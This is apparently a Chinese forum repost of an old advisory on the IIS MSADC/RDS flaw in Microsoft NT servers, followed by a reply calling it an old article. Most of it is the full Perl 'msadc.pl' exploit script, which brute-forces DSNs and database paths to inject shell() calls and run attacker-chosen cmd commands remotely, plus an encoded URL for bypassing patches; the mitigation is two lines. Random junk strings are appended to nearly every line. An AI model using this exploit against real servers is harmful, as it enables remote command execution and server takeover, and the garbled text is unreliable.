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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 9>~pA]j%  
( V4Ppg  
涉及程序: ^cYB.oeu  
Microsoft NT server L+8ar9es  
INN}xZ  
描述: Xf`e 4  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 u}iuf_  
lcdhOjz!N  
详细: ,u `xneOs  
如果你没有时间读详细内容的话,就删除: ^X96yj'?  
c:\Program Files\Common Files\System\Msadc\msadcs.dll |(.\J`_e  
有关的安全问题就没有了。 Z_q+Ac{p  
.^wpfS  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 f!x9%  
7l53&,s   
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 L!cOg8Z  
关于利用ODBC远程漏洞的描述,请参看: +Uq|Yh'Q  
qq5X3K2&  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #d@wjQ0DW  
<,M"kF:  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 f;{Q ~  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1CB&z@  
3+6Ed;P  
这里不再论述。 J#(AX6  
v&d1ACctJ  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 5%I3eL%s  
1"H;Tr|  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset .?45:Ey~g  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! QOB^U-cW  
I\Op/`_=E  
Gm|-[iUTG]  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ]=~dyi  
OS z71;j  
#!perl 8gS7$ EH'  
# >of34C"DI  
# MSADC/RDS 'usage' (aka exploit) script zgwez$  
# $:~;U xh=  
# by rain.forest.puppy \l59/ZFan  
# Ixa0;nxj  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me q^aDZzx,z  
# beta test and find errors! YbZbA >|  
8%9 C<+.R  
use Socket; use Getopt::Std; gA2Wo+\^bq  
getopts("e:vd:h:XR", \%args); T`x|=}  
{srP3ll P  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; E#J})cPzw  
f!'i5I]  
if (!defined $args{h} && !defined $args{R}) { UY(T>4H+h  
print qq~ @"7S$@cO  
Usage: msadc.pl -h <host> { -d <delay> -X -v } bT ,_=7F  
-h <host> = host you want to scan (ip or domain) ?\o~P  
-d <seconds> = delay between calls, default 1 second Xq135/d  
-X = dump Index Server path table, if available cwmS4^zt8  
-v = verbose ME)Tx3d  
-e = external dictionary file for step 5 qfDG.Zee#  
tAv3+  
Or a -R will resume a command session I\mF dE  
QC+ Z6WS;  
~; exit;} /JR+WmO  
5NhFjPETr  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; j*.;6}\o  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} a}UmD HS-  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} Jy(G A  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ,';|CGI cP  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} {+J{t\`  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } PJ5}c!o[  
3]*Kz*i  
if (!defined $args{R}){ $ret = &has_msadc; ^FLs_=E  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} :{%[6lE^G  
hE&6;3">  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" es)^^kGj6f  
. "cmd /c "; tkj-.~@g0'  
$in=<STDIN>; chomp $in;  >. K  
$command="cmd /c " . $in ; >5FTB e[D  
\FsA-W\X  
if (defined $args{R}) {&load; exit;} 0/GBs~P  
 @lN\.O  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; \W*L9azr  
&try_btcustmr; t%}<S~"  
R;OPY?EeW  
print "\nStep 2: Trying to make our own DSN..."; e0`z~z]6&  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 9#z$GO|<  
q<:8{Y|  
print "\nStep 3: Trying known DSNs..."; q A .9X4NQ  
&known_dsn; z.8/[)  
TE Z%|5(]  
print "\nStep 4: Trying known .mdbs..."; F vkyp"W3  
&known_mdb; S`kOtZ_N n  
=|?`5!A  
if (defined $args{e}){ gzs \C{4D  
print "\nStep 5: Trying dictionary of DSN names..."; b?}mQ!  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 0+CcNY9  
NH/A`Wm  
print "Sorry Charley...maybe next time?\n"; Tx.N#,T|  
exit; }t^wa\   
u$d[&|`>_  
############################################################################## <\#'o}  
UePkSz9EU  
sub sendraw { # ripped and modded from whisker d"FB+$  
sleep($delay); # it's a DoS on the server! At least on mine... G0 )[(s  
my ($pstr)=@_; V ?Jy  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $S#Z>d*1!  
die("Socket problems\n"); 4A2}3$c9  
if(connect(S,pack "SnA4x8",2,80,$target)){ Rt#QW*h\|i  
select(S); $|=1; YmC}q20;  
print $pstr; my @in=<S>; CP7Fe{P  
select(STDOUT); close(S); 8B G Z  
return @in; <U3X4)r  
} else { die("Can't connect...\n"); }} @vl$[Z|  
;^ME  
############################################################################## NVMn7H}>  
B'yjMY![  
sub make_header { # make the HTTP request [BE_^d5&  
my $msadc=<<EOT (l99a&] t  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 (%B{=w}8  
User-Agent: ACTIVEDATA `H! (hMMV  
Host: $ip ^{}G4BEY  
Content-Length: $clen NTu |cX\R  
Connection: Keep-Alive j=O+U _w  
T1d@=&0"  
ADCClientVersion:01.06 vFk@  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 lAN&d;NU6Z  
Jx+6Kq(  
--!ADM!ROX!YOUR!WORLD! 9Vt ^q%DC  
Content-Type: application/x-varg 3'uXU<W!  
Content-Length: $reqlen pbx*Y`v  
63 oe0T&  
EOT PLz{EQ[cV  
; $msadc=~s/\n/\r\n/g; {?`rGJ{f  
return $msadc;} j#//U2VdN  
v[ iJ(C_  
############################################################################## FDl/7P`b(  
C'I&<  
sub make_req { # make the RDS request sx#O3*'>1  
my ($switch, $p1, $p2)=@_; 76w[X=Fv  
my $req=""; my $t1, $t2, $query, $dsn; Wr[LC&  
-YQh F;/  
if ($switch==1){ # this is the btcustmr.mdb query +v B}E  
$query="Select * from Customers where City=" . make_shell(); RnH?95n?{  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . *F( qg%1+  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} %r[`HF>  
toY_1  
elsif ($switch==2){ # this is general make table query ? $/::uo  
$query="create table AZZ (B int, C varchar(10))"; .s<0}<Aq>  
$dsn="$p1";} fS"u"]j*e  
?6_]^:s  
elsif ($switch==3){ # this is general exploit table query i*|HN"!  
$query="select * from AZZ where C=" . make_shell(); hrKeOwKHU  
$dsn="$p1";} xo@1((|z  
25OQY.>bE  
elsif ($switch==4){ # attempt to hork file info from index server +t,b/K(?]  
$query="select path from scope()"; I%.nPOQ 8  
$dsn="Provider=MSIDXS;";} P*"c!Dn  
11l=zv  
elsif ($switch==5){ # bad query ->I.D?p  
$query="select"; FsqH:I4O  
$dsn="$p1";} 5X^\AW  
oZ2:%  
$t1= make_unicode($query); NV./p`k  
$t2= make_unicode($dsn); (A?>U_@  
$req = "\x02\x00\x03\x00"; YW7w>}aW  
$req.= "\x08\x00" . pack ("S1", length($t1)); % f;v$rsZ  
$req.= "\x00\x00" . $t1 ; RJ?)O#}  
$req.= "\x08\x00" . pack ("S1", length($t2)); ~m fG Yk"  
$req.= "\x00\x00" . $t2 ; Q9cSrU[$  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ,[ 2N3iH  
return $req;} cpk\;1&t  
=Z.0-C>W  
############################################################################## ?eTZ>o.p/  
&W>\Vl1  
sub make_shell { # this makes the shell() statement HW[&q  
return "'|shell(\"$command\")|'";} ,9y6:W%5  
Kii@Z5R_?  
############################################################################## +j: &_  
4Y?fbb<  
sub make_unicode { # quick little function to convert to unicode 76T7<.S  
my ($in)=@_; my $out; ~;oXLCL0})  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } SXsszb:_  
return $out;} B}04E^  
ILCh1=?{9r  
############################################################################## al#(<4sJ  
?J$k 5;  
sub rdo_success { # checks for RDO return success (this is kludge) #_ulmB;  
my (@in) = @_; my $base=content_start(@in); 1V`-D8-?  
if($in[$base]=~/multipart\/mixed/){ mZU L}[xf  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 5"h4XINZ  
return 0;} 6KGT?d  
-|'@ :cIZ  
############################################################################## -Jd7  
7B0`.E^~  
sub make_dsn { # this makes a DSN for us ox SSEs  
my @drives=("c","d","e","f"); ^X_ ;ZLg.  
print "\nMaking DSN: "; OX.5o lb  
foreach $drive (@drives) {  2l,>x  
print "$drive: "; N]yT/8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . e_!h>=$%8  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Jm , :6T  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); lfBCzxifC  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; `0ZH=*P  
return 0 if $2 eq "404"; # not found/doesn't exist 9L7z<ntn  
if($2 eq "200") { X(Af`KOg[  
foreach $line (@results) { 6Zpa[,gm  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} "6]oi*_8  
} return 0;} G739Ne[gL  
UZ/LR  
############################################################################## D*@'%<?  
#reR<qp&]  
sub verify_exists { O4`.ohAZ  
my ($page)=@_; Zs^zD;zU  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Q=!QCDO(  
return $results[0];} tV4yBe<``  
dZ" }wKbO  
############################################################################## =0&XdxX  
H.?`90IQ  
sub try_btcustmr { 4r;le5@  
my @drives=("c","d","e","f"); pKXSJ"Xo  
my @dirs=("winnt","winnt35","winnt351","win","windows"); \ MuKS4  
#HL$`&m  
foreach $dir (@dirs) { 0qR#o/~I  
print "$dir -> "; # fun status so you can see progress W+u@UJi  
foreach $drive (@drives) { +;!^aNJ,  
print "$drive: "; # ditto eAO@B  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; G>^= Bm_$  
$reqlenlen=length( "$reqlen" ); q h bagw~  
$clen= 206 + $reqlenlen + $reqlen; .\H-?6R^  
C=;}7g  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); w*'DlP<7  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} gD%o0 jt"  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} .z CkB86  
;xq;c\N  
############################################################################## =l2 @'YQ  
W\Il@Je;  
sub odbc_error { 9Cd=^Im5  
my (@in)=@_; my $base; Qv,ORm h5  
my $base = content_start(@in); Wv3p!zW3I  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this n<EIu  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Af]BR_-  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  l  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; FM3.z)>  
return $in[$base+4].$in[$base+5].$in[$base+6];} k'.cl^6Z8  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; (| O(BxS  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . s4 , `  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} \B 8j9  
&: LE]w  
############################################################################## Nba1!5:M  
s'/_0  
sub verbose { /hg^hF  
my ($in)=@_; 11S{XbU  
return if !$verbose; `$4wm0G|  
print STDOUT "\n$in\n";} uj}%S_9  
y2g)*T!m  
############################################################################## r,|}^u8`  
\xOYa  
sub save { 4EeVO5  
my ($p1, $p2, $p3, $p4)=@_; aa]|  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /"!ck2d&1  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; WO69Wo\C  
close OUT;} M$v\7vBgO!  
Ai%Wt-  
############################################################################## FBi&M Z`  
n%2c<@p#  
sub load { *` -  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; q%s<y+  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); t`6~ ud>  
@p=<IN>; close(IN); `j2|aX %Z*  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); `,FA3boE  
$target= inet_aton($ip) || die("inet_aton problems"); (<`> B  
print "Resuming to $ip ..."; M;g"rpM  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ) fuAdG  
if($p[1]==1) { 4,`t9f^:  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; j0cB#M44  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; +IGSOWL  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); &mJm'Ks  
if (rdo_success(@results)){print "Success!\n";}  1A]   
else { print "failed\n"; verbose(odbc_error(@results));}} yqb$,$  
elsif ($p[1]==3){ c ]ll89`||  
if(run_query("$p[3]")){ )WkN 34Q  
print "Success!\n";} else { print "failed\n"; }} .$&vSOgd(  
elsif ($p[1]==4){ nFwg pT  
if(run_query($drvst . "$p[3]")){ 6[Mu3.T  
print "Success!\n"; } else { print "failed\n"; }} Kr<a6BEv5  
exit;} ;Uypv|xX  
 fsKZ  
############################################################################## ;x)f;!e+  
9D5v0Qi  
sub create_table { h^zcM_  
my ($in)=@_; )x,-O#"A  
$reqlen=length( make_req(2,$in,"") ) - 28; 5p.#nc!;y  
$reqlenlen=length( "$reqlen" ); lA,[&  
$clen= 206 + $reqlenlen + $reqlen; LK|rLoia:  
my @results=sendraw(make_header() . make_req(2,$in,"")); xs)SKG*  
return 1 if rdo_success(@results); O8*yho  
my $temp= odbc_error(@results); verbose($temp); 1OFrxSg  
return 1 if $temp=~/Table 'AZZ' already exists/; V[* <^%  
return 0;} rgv$MnG  
Wsw/ D  
############################################################################## 6 #jpA.;  
cW{Bsr   
sub known_dsn { sVS),9\}  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go a{I(Qh!}  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", (K kqyrb  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", #9(iu S+BU  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); ;|vn;s/  
GQ9H>Ssz  
foreach $dSn (@dsns) { )"bP]t^_  
print "."; B%co`0$  
next if (!is_access("DSN=$dSn")); 9Kc;]2m  
if(create_table("DSN=$dSn")){ (Ixmg=C6y  
print "$dSn successful\n"; ,Igd<A=  
if(run_query("DSN=$dSn")){ z}$!B.)  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 4n\O6$&.x  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 8(@(G_skp  
cS|W&IH1  
############################################################################## %&$s0=+  
p^QppM94  
sub is_access { M;X}v#l|XI  
my ($in)=@_; VPDd*32HC  
$reqlen=length( make_req(5,$in,"") ) - 28; G/Yqvu,2!  
$reqlenlen=length( "$reqlen" ); F`f8q\Fc  
$clen= 206 + $reqlenlen + $reqlen; rV/! VJ6x  
my @results=sendraw(make_header() . make_req(5,$in,"")); }@A{'q5y  
my $temp= odbc_error(@results); V*+Z=Y'  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); sc# q03  
return 0;} |/RZGC4  
/pgn?e'lk  
############################################################################## 8{%[|Ye  
?h-:,icR  
sub run_query { ;0 9~#Wop  
my ($in)=@_; ftqeiZ 2  
$reqlen=length( make_req(3,$in,"") ) - 28; D14i]  
$reqlenlen=length( "$reqlen" ); qAVZ&:#  
$clen= 206 + $reqlenlen + $reqlen; 8Dc'"3+6  
my @results=sendraw(make_header() . make_req(3,$in,"")); -H](2}  
return 1 if rdo_success(@results); N9AM% H$7  
my $temp= odbc_error(@results); verbose($temp); s+ ]6X*)  
return 0;} HqKD]1  
4q`e<!MP)q  
############################################################################## ,6T3:qkkvF  
UNescZ  
sub known_mdb { U=KFbL1Q  
my @drives=("c","d","e","f","g"); ARJ}h  
my @dirs=("winnt","winnt35","winnt351","win","windows"); >~* w  
my $dir, $drive, $mdb; BWG#W C  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; AI*1kxR  
p M_oIH'8:  
# this is sparse, because I don't know of many -* piC(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", {# TZFB  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", X2C&q$8  
"\\system32\\certmdb.mdb", g5hMZPOmP  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% K2oyHw<mk  
`^CIOCK%  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", N ._&\fHY  
"\\cfusion\\cfapps\\forums\\forums_.mdb", b~EA&dc  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", \Q MRuR.  
"\\cfusion\\cfapps\\security\\realm_.mdb", mT#ebeBaf  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ^U{SUWl  
"\\cfusion\\database\\cfexamples.mdb", j |:{ B  
"\\cfusion\\database\\cfsnippets.mdb", lZhd^69y  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", j?oh~7Ki  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", y/6%'56uF  
"\\cfusion\\brighttiger\\database\\cleam.mdb", N:e5=;6s  
"\\cfusion\\database\\smpolicy.mdb", 5| bc*iqU  
"\\cfusion\\database\cypress.mdb", &6#Ft]6~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", {-e|x&-  
"\\website\\cgi-win\\dbsample.mdb", 5>"X?U}He  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", OOX[xv!b  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" !I[|\ 4j  
); #these are just &-M}:'  
foreach $drive (@drives) { UN Kr FYl  
foreach $dir (@dirs){ A@#D_[~  
foreach $mdb (@sysmdbs) { nG !6[^D  
print "."; }SBpc{ch  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ^@n?&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; o" e]9{+<  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ x`gsD3C  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 4^AdSuV  
} else { print "Something's borked. Use verbose next time\n"; }}}}} xa|/P#q  
?LA` v_  
foreach $drive (@drives) { jun$C Y4  
foreach $mdb (@mdbs) { +OX:T) 4h6  
print "."; z!:%Hbh=  
if(create_table($drv . $drive . $dir . $mdb)){ L{AfrgN  
print "\n" . $drive . $dir . $mdb . " successful\n"; rIZ^ix-N  
if(run_query($drv . $drive . $dir . $mdb)){ nEboet-#D0  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; 72{Ce7J4  
} else { print "Something's borked. Use verbose next time\n"; }}}} pv;ZR  
} ^+'\ u;\  
B@v"giJgr  
############################################################################## ,5HC &@  
1wM~),B8  
sub hork_idx { q, XRb  
print "\nAttempting to dump Index Server tables...\n"; ;-!j,V+$h  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; I<^&~==  
$reqlen=length( make_req(4,"","") ) - 28; %cFqD &6  
$reqlenlen=length( "$reqlen" ); O7D61~G]  
$clen= 206 + $reqlenlen + $reqlen; ;dE'# Kb  
my @results=sendraw2(make_header() . make_req(4,"","")); gj-MkeI)  
if (rdo_success(@results)){ Dt\rMSjZ9  
my $max=@results; my $c; my %d; GYK&QYi,  
for($c=19; $c<$max; $c++){ !JWZ}u M6  
$results[$c]=~s/\x00//g; UbSAyf  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Ym5ji$!2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; cfA)Ui  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; 0L|D1_k[  
$d{"$1$2"}="";} E\dJb}"x %  
foreach $c (keys %d){ print "$c\n"; } /#xx,?~xx0  
} else {print "Index server doesn't seem to be installed.\n"; }} S"G`j!m1  
s\A4y "  
############################################################################## |?/,ED+|>D  
brt1Kvu8(  
sub dsn_dict { TuX9:Q  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); BEnIyVU;L  
while(<IN>){ k9vzxZ%s:  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; m6^n8%  
next if (!is_access("DSN=$dSn")); <maY S2  
if(create_table("DSN=$dSn")){ @fO[{V  
print "$dSn successful\n"; l.`f^K=8  
if(run_query("DSN=$dSn")){ kcN#g- 0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { v3/l= e?u  
print "Something's borked. Use verbose next time\n";}}} iW,fKXuo&y  
print "\n"; close(IN);} qrZ*r{3  
EX9os  
############################################################################## #Z>EX?VS:  
u[G`_Y{=EM  
sub sendraw2 { # ripped and modded from whisker B #zU'G*Y  
sleep($delay); # it's a DoS on the server! At least on mine... MiB}10  
my ($pstr)=@_; ~gJJ@j 0n  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || <b$.{&K  
die("Socket problems\n"); Qvl3=[S  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2{fPQQ;#  
print "Connected. Getting data"; iX\]-_D  
open(OUT,">raw.out"); my @in; Qy_! +q  
select(S); $|=1; print $pstr; S<bsrS*$  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ;j^C35  
close(OUT); select(STDOUT); close(S); return @in; %1^E;n  
} else { die("Can't connect...\n"); }} ;;? Zd  
.*W_;Fo  
############################################################################## qVMBZ\`Qm  
=!{ E!3>*D  
sub content_start { # this will take in the server headers Qq*Ks 5   
my (@in)=@_; my $c; C.Ty\@U  
for ($c=1;$c<500;$c++) { moT*r?l  
if($in[$c] =~/^\x0d\x0a/){ QdtGFY4f,  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } GB\1'  
else { return $c+1; }}} h#Q Sx@U6  
return -1;} # it should never get here actually >hsvRX\_ `  
yhJA{nL=  
############################################################################## eB,eu4+-  
? vr9l7VOi  
sub funky { hX&Jq%{oa  
my (@in)=@_; my $error=odbc_error(@in); UK!PMkX  
if($error=~/ADO could not find the specified provider/){ Z.rR)  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ;N;['xcx;  
exit;} y$6~&X  
if($error=~/A Handler is required/){ }G53"  
print "\nServer has custom handler filters (they most likely are patched)\n"; B9i< ="=p  
exit;} ,ctm;T1H+  
if($error=~/specified Handler has denied Access/){ I("lGY  
print "\nServer has custom handler filters (they most likely are patched)\n"; g ;To}0H  
exit;}} j'M=+  
(>a8h~Na  
############################################################################## FQW{c3%qZ  
*p Q'w  
sub has_msadc { Vnvfu!>(  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); vE<z0l  
my $base=content_start(@results); 5nSi29C  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ~"8D]  
return 0;} (dgBI}Za  
2=V~n)'a  
######################## $$f89, h  
5eJMu=UpR  
~us1Df0bp  
解决方案: $9}jU#Z|hd  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll {sb2r%U!+  
2、移除web 目录: /msadc
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学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 5[5|_H+0  
cf`g.9pjlx  
拿出来充数 哈哈
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